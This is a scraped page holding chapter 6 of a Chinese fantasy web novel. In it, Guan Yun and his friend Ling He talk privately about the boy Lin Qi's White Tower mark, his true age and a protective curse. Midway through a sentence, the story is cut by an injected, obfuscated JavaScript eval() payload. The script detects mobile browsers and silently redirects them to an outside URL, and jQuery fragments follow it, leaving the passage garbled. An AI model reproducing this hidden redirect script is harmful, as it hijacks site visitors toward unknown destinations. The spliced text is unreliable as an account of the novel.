6. 第 6 章

作品:《当心怪物

    观沄看凌壑的眼神像是在看一个精神病患。


    凌壑却笑着,直接伸手往他肩膀上搭。


    于是,林栖在同一天里,第二次见到了“生吃活人”的场面。


    这次安康鱼足足嚼了五六分钟才把人给吐出来。


    凌壑一身狼狈,散着头发坐在地上,却仿佛刚在过山车上玩儿了一趟下来,放松地呼一口气,笑着朝安康鱼招了招手,“我皮筋儿落你嘴里了,麻烦吐一下。”


    安康鱼嘴巴咕哝咕哝,龇着牙缝,居然真的给他吐出一根黑色皮筋。凌壑接过,一边用手指梳理头发,一边朝观沄道:“这招还是我发明的,你得付我版权费。”


    观沄收回安康鱼,不客气道:“是谁让你来的?”


    “是满城的风言风语啊~~都说你有一个十二岁的大儿子,我就算是死了,也得从坟包里爬出来看看。”凌壑说着,朝林栖挥了挥手。


    “现在看完了?”观沄有些不耐烦。


    “啊……”凌壑摸了摸头发,像是不太满意,又扯下皮筋重绑一次。


    “那么请滚。”观沄指着远处赶客。


    林栖眨了眨眼。


    原来“请”字还可以这样用。


    既然可以“请滚”,那么也可以“请死”“请咽气”“请去世”……


    凌壑低头看着自己身上,理所当然道:“滚是可以,但我衣服破了,你得借我一身换换。”


    于是,半小时后。


    凌壑套着一件白T坐在客厅,不知从哪儿翻出一堆零食,一边吃,一边聊着学校八卦。


    所以这人也在学校教书,林栖觉得,他好像有什么自动聊天功能,不需要别人接话,自己一个人就能聊下去,既不怕尴尬,也不怕冷场。


    虽然家里多了个人,但林栖还是要按时睡觉。


    躺下时,客厅里的说话声依然没停,他睁着眼睛想了半天,终于把观沄对凌壑的态度总结成了两个字:容忍。


    观沄好像很烦凌壑,但又能由着他烦。


    看样子确实很熟。


    想到这里,他心里蓦地生出一种很奇怪的感觉,很难形容,就像一个人走在太阳底下,看见别人都有影子,于是低头看了一眼自己脚下,却发现自己没有影子。


    常识和经验产生了微妙的错乱。


    为什么一个人会没有影子,却还习以为常?


    他从床上起来,在屋里走了几圈,反复看着自己的影子被夜灯拉长揉扁。


    那种很奇怪的感觉依然存在。


    又过了一会儿,他才发现外面很安静,说话声已经没了。


    他推门往外看了一眼,就见客厅没人,下一秒,书房里传出“砰”的一声,像是重物落地,紧接着还有一阵杂乱声响。


    林栖顿时觉得:这两人终于还是打起来了。


    他往前走了两步,又退回来,从自己房间翻窗出去,沿外墙绕到书房窗外。


    菱格形的灯光投在地上,他听到观沄的声音从上方传来——“你到底打算什么时候滚蛋?”


    接着是一阵零碎的碰撞声响,凌壑道:“你这屋里乱死了,我先帮你收完,站远点,别碍事。”


    观沄:“如果我不瞎的话,这抽屉好像是你打翻的?”


    林栖沉默。


    原来不是打架,是打翻抽屉。


    那没事了。


    他正要起身离开,忽然看到一块光斑在地上一晃,回头就见一团人影蹲在两三米外,奶蓝色的睡衣即使在暗处也很显眼,是林鹭。


    见他回头,林鹭抬手指了指窗户,用口型道:“你偷听。”


    林栖:“……”


    林鹭把手圈在嘴边,比了个大喇叭,又从衣兜里摸出一支很粗的红色水笔,朝他晃了晃。


    威胁的意味非常明显。


    林栖怕被观沄发现,于是蹲在原地没动。


    林鹭得意地凑近过来,盯着他的脸看了一会儿,忽然抬手,在他脸上画了个圈。


    然后又一个圈,再一个圈……涂涂抹抹。


    林栖:“……”


    红脸蛋吗?


    这时就听凌壑又道:“白塔标记有点麻烦,你带着他,跟晚上带颗信号弹出门有什么区别?随便抓个报喜鸟带路都能找到你,而且这东西十八岁以后才会消失,还有六年,你就每天带他到处躲吗?”


    白塔标记?报喜鸟?


    林栖低头看了一眼自己手心。


    忽然就明白了那些“偶遇”是怎么回事。


    观沄好像说了什么,但他没能听清,片刻,凌壑的声音再次传来,“这是他们偷情用的,点上这个,屋里发生的一切,外面看不见,也听不着。”


    林栖在想标记的事,而林鹭在认真画画,隔了一会儿,两人才后知后觉,书房里的声音没了。


    窗内,书桌上摆了一只很怪异的紫色香炉,枝杈造型中间拢着一汪绿火,周围散出蓝色的烟。


    凌壑在一张粉色纸签上写了自己名字,对折投入火中,把笔递给观沄,“该你了。”


    桌上另有一张空白纸签,观沄抬眸看他片刻,在纸上草草写下名字,同样投入火里。


    前一张纸签在火里静静不动,直到第二张落下,火焰才向上卷起,同时咬住两张,吐出一团甜香。


    烟雾流淌而出,由线到面,迅速铺满整个房间。


    满眼都是紫色。


    观沄皱了皱眉,觉得整个家都不干净了。


    凌壑笑着凑近,“现在可以开始偷情了,孩子妈妈。”


    观沄没搭理他。


    凌壑从小就是这个德行。


    凌家传统,孩子养到7岁之前不剪头发,男女都一样。


    凌壑长得好,小时候总被认错性别,跟观沄一起玩的时候,还总被人起哄说是他的小女朋友。


    后来到了会玩过家家的年纪,这人有了逆反心理,非要自己做爸爸,让他做妈妈,他当时只顾着看书,叫他什么都随口答应,所以才会有了这个“历史遗留问题”。


    观沄扫他一眼,“有话快说。”


    凌壑背靠书架,眯着一双深邃狭长的眼睛,像只晒太阳的狼,“带着白塔标记,观家人也能轻松找到你,每天应付他们,你不嫌烦吗?”


    观沄:“你是来劝我回观家的?”


    “说了你又不信,我真的是来看孩子的。”凌壑支着下巴,往前凑了凑,“小林长得那么聪明,一看就很有天赋,干嘛不让孩子上学?”


    观沄听得出来,这个“林”字是在故意试他。


    他朝凌壑看了片刻,“所以你是来劝我回学校的。”


    这不是个疑问句。


    凌壑笑了笑,不接他话,只是自顾自道:“如果怕他被人欺负,完全可以改个名字,干脆跟你姓吧?做好人做到这个份儿上,林家那些祖宗就算从坟头里爬出来,也说不出你一个不字。”


    提到林家,观沄看向那只香炉。


    这是一件古董造物,配合咒纸使用,可以防止谈话内容外泄,上代人喜欢用它进行学术保密。他小时候见过几次,不过当时用的纸签都是白色,也不带这种恶俗香味。


    一时两人都没说话,片刻,凌壑道:“十年了,你确定他还在吗?”


    观沄抬眸,语气透着坚不可摧的笃定,“当然。”


    “怎么个当然法?”


    “以你的脑容量,我很难跟你解释清楚。”


    凌壑不在意地一笑,“那就聊点适合我这脑容量的。学城干净,对林家人只有好处没有坏处,你干嘛要拦着?总不会是觉得养孩子很好玩儿吧?十几岁的小朋友可不是浇水就能活的,想想你养死的那些仙人掌和绿萝。”


    观沄凉冰冰地扫他一眼。


    凌壑抱着手臂,晃了晃脚,“反正今天如果不说清楚,我就赖在你家不走,看着办吧。”


    片刻,观沄道:“林栖只有十


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16435793|184739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    岁。”


    “十岁?”


    众所周知,白塔要求学生年满十二岁,凌壑显然有些意外,但很快就明白了观沄想说什么,“你的意思是……”


    “对,就是这个意思。”


    凌壑支着下巴斟酌片刻,“虽然说,林家人已经快灭绝了,但也没有这么值钱吧?为了一个小屁孩儿,至于要搞这么大的动作?”


    观沄看着他,没说话。


    凌壑知道自己又提了不该提的,扯了扯嘴角,跳过敏感词,“就算有人要动手脚,也动不到白塔这层。你这颗聪明脑子先别往复杂里想,我们就说最简单的,白塔不会出错,所以一定是你们错了,林栖就是十二岁。”


    十二岁?


    观沄指节轻抵下颌,露出思索神色。


    凌壑笑道:“毕竟孩子又不是你亲自生的,档案可以伪造,出生证明也能作假。”


    观沄能感觉到,问题的关键就在这里,只是还缺一点梳理。


    短暂斟酌之后,他把林栖的来历简单说了。


    凌壑目光落在观沄手上,仿佛想透过皮肉看穿骨骼。


    待观沄说完,他才抬眸一笑,“你们天才就是偏科。”


    观沄:“你觉得这和咒术有关?”


    在他听说林栖是个杀不死的怪物时,已经猜到这可能是某种咒术。


    有些大家族会在孩子身上施用保护咒,确保他们平安长到成年,但林家历来并不热衷咒术,他也没在这个方向深究。


    凌壑道:“保护咒有两个方向,一类是防护,一类是修复,防护当然很好,不疼不痒,但有时效,用在孩子身上,得有长辈或咒师长期跟着。


    修复类就简单得多,但也有个毛病,只要是修,就需要材料,那么材料从哪里来?不是从别人身上,就是从自己身上。你把草割了,草根还在,还能再长,但重长一茬,总要比别的草矮半截吧?”


    观沄忽然想起福利院的记录。


    林栖是从火灾现场捡回来的孩子,如果当时身边没有长辈护着,又在火里受了重伤,那么在经历修复损耗之后,外表年龄和实际年龄确实会出现一些偏差。


    当时福利院根据经验判断他只有三岁,其实一开始就错了。


    凌壑抱着胳膊晃了晃腿,“我就说吧,白塔不会出错,要错也是你们弄错,林栖就是十二岁。”


    不对。


    其实不止。


    不然林栖也不会刚过来就被白塔标记。


    白塔的筛选规则是“年满十二”,而不是“刚好十二”。


    按照语义逻辑,即使二十岁也算年满十二。


    这并不算规则漏洞,因为正常情况下,年满十二就是刚好十二,不过林栖是个例外。


    他是从外面来的。


    凌壑抬起胳膊,朝观沄肩膀一搭,“那就没问题了,你带孩子准备考试,领养手续我来解决。”


    观沄偏头躲开,“不用了,还有两年,不急。”


    “嗯?什么意思?”


    “意思是,本来就没打算送他上学。”观沄抱起手臂,像是一只护窝的龙,“不管实际年龄多大,既然林栖觉得自己只有十岁,那他就是十岁,现在上学还太早了。”


    凌壑牙疼似地咂了咂嘴,“那我刚刚跟你说的这一堆算什么?”


    “算你不请自来。”


    观沄把林栖带到这边,本来就不是为了送他去上学的。


    上学需要住校,只有周末可以回家一天,且每次往返都要重新检查侵蚀状况,大部分学生为了保证安全,都会尽可能地留在学校,只在学期末的时候回家。


    林栖身份特殊,且刚到这边,对一切都不了解,如果让他自己一个人去上学,面对完全陌生的环境和同学,那他大概又要像以前在福利院那样,每天小心翼翼地隐藏自己。


    这不是观沄想看到的。


    他希望林栖能像其他孩子一样,活得轻松自在。